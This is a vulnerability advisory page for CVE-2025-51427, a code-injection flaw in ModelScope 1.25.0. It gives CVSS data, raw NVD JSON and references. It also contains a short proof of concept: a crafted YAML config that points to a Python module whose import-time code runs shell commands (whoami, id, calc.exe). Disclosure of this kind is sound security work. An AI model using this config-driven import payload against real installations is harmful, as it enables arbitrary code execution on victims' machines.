Security Vulnerability Report
中文
CVE-2025-51427 CVSS 7.3 HIGH

CVE-2025-51427

Published: 2026-05-19 15:16:27
Last Modified: 2026-05-19 18:04:29

Description

An issue was discovered in ModelScope 1.25.0 allowing attackers to execute arbitrary code via crafted module listed in the configuration file (dey_mini.yaml) under the key ['nnet']['module'].

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ModelScope 1.25.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious configuration file: dey_mini.yaml nnet: module: exploit_payload # Reference to the malicious module # Malicious Python module: exploit_payload.py import os def malicious_function(): print("CVE-2025-51427 PoC Executed") os.system('whoami') os.system('id') # Code execution happens upon import print("Module loaded, executing payload...") os.system("calc.exe")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51427", "sourceIdentifier": "[email protected]", "published": "2026-05-19T15:16:27.030", "lastModified": "2026-05-19T18:04:29.373", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in ModelScope 1.25.0 allowing attackers to execute arbitrary code via crafted module listed in the configuration file (dey_mini.yaml) under the key ['nnet']['module']."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/JIRUWOZHI/vulnerability-disclosure/blob/main/CVE-2025-51427/CVE_2025_51427.md", "source": "[email protected]"}, {"url": "https://github.com/modelscope/modelscope/issues/1331", "source": "[email protected]"}, {"url": "https://github.com/modelscope/modelscope/pull/1333", "source": "[email protected]"}, {"url": "https://github.com/JIRUWOZHI/vulnerability-disclosure/blob/main/CVE-2025-51427/CVE_2025_51427.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}